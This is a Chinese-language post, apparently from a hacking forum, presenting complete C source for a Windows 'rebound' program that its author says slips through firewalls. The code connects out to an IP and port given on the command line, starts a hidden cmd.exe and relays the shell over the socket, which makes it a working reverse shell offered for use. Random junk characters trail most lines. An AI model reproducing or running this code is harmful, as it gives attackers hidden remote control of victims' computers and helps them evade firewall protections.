这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 K<+h/Ok
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/* ============================== e: :H1V
Rebound port in Windows NT BK]q^.7+:
By wind,2006/7 Gwkp(9d
===============================*/ 4%k_c79>
#include "2bCq]I0
#include ,Z I"+v
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#pragma comment(lib,"wsock32.lib") Z5o6RTi
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void OutputShell(); 4m6E~_:F
SOCKET sClient; F
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char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; @YTZnGG*
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void main(int argc,char **argv) j7 D\O
{ b=+'i
WSADATA stWsaData; ?o9g5Z
int nRet; /P0%4aWu=
SOCKADDR_IN stSaiClient,stSaiServer; H;$O CDRC
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if(argc != 3) 6(}8[i:
{ SpY%2Y.Dy
printf("Useage:\n\rRebound DestIP DestPort\n"); iB 5 Se
return;
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} 5A6d]
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WSAStartup(MAKEWORD(2,2),&stWsaData); 6l>$N?a
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Y75,{1\l0
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stSaiClient.sin_family = AF_INET; Y m|zM1qc
stSaiClient.sin_port = htons(0); {e?D6`#x
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); mPxph>o
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) fNx3\<~V=
{ GRb"jF>ut
printf("Bind Socket Failed!\n"); pVt8z|p_;{
return; T0Q)}%L
} DxT8;`I%
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stSaiServer.sin_family = AF_INET; Jx@3zl
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Nd*zSsVlq
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); oToUpkAI
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ;X !sTs
{ W^q;=D6uh
printf("Connect Error!"); 0t1WvW
return; 2mbZ6'p {
} @U(D&_H,K
OutputShell(); : \w\K:
} [dL4u^]{
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void OutputShell() ~w'M8(
{ A_}F
char szBuff[1024]; )G0a72
SECURITY_ATTRIBUTES stSecurityAttributes; o@r+Y
OSVERSIONINFO stOsversionInfo; o64&BpCK
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; <IGQBu#ZH
STARTUPINFO stStartupInfo; <DCrYt!1}c
char *szShell; J
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PROCESS_INFORMATION stProcessInformation; ` IiAtS
unsigned long lBytesRead; U&|=dH]-
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ` a5$VV%J
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 6yKr5t H4
stSecurityAttributes.lpSecurityDescriptor = 0; 52BlFBNV
stSecurityAttributes.bInheritHandle = TRUE; h&||Ql1
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); _H|x6X1-
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 7E4=\vM
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); l
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stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; w%)=`'s_
stStartupInfo.wShowWindow = SW_HIDE; <XX\4[wb
stStartupInfo.hStdInput = hReadPipe; s"<k)Xi
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ^_r8R__S:
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GetVersionEx(&stOsversionInfo); b&B<'Wb
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switch(stOsversionInfo.dwPlatformId) lqa.Nj
{ a= ;7
case 1: 8'_>A5L/C
szShell = "command.com"; |f&)@fUI
break; f*7/O |Gp
default: z,[4BM
szShell = "cmd.exe"; G*ZHLLO4S\
break; a;D{P`%n
} $%"i|KTsv:
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 0F6^[osqtl
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send(sClient,szMsg,77,0); E$; =*0w
while(1) k5]s~*,0
{ Z!60n{T79c
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); [
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if(lBytesRead) ;(fD R8
{ NduvfA4
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); }:7'C. ."
send(sClient,szBuff,lBytesRead,0); ?2_Oa%M
} 3'8B rK
else *+re2O)Eh'
{ e3UGYwQ
lBytesRead=recv(sClient,szBuff,1024,0); q
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if(lBytesRead<=0) break; tbF>"?FY/
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Nt9M$?\P
} A1zM$
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} *x2+sgSf_0
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return; ifl`QZp_
}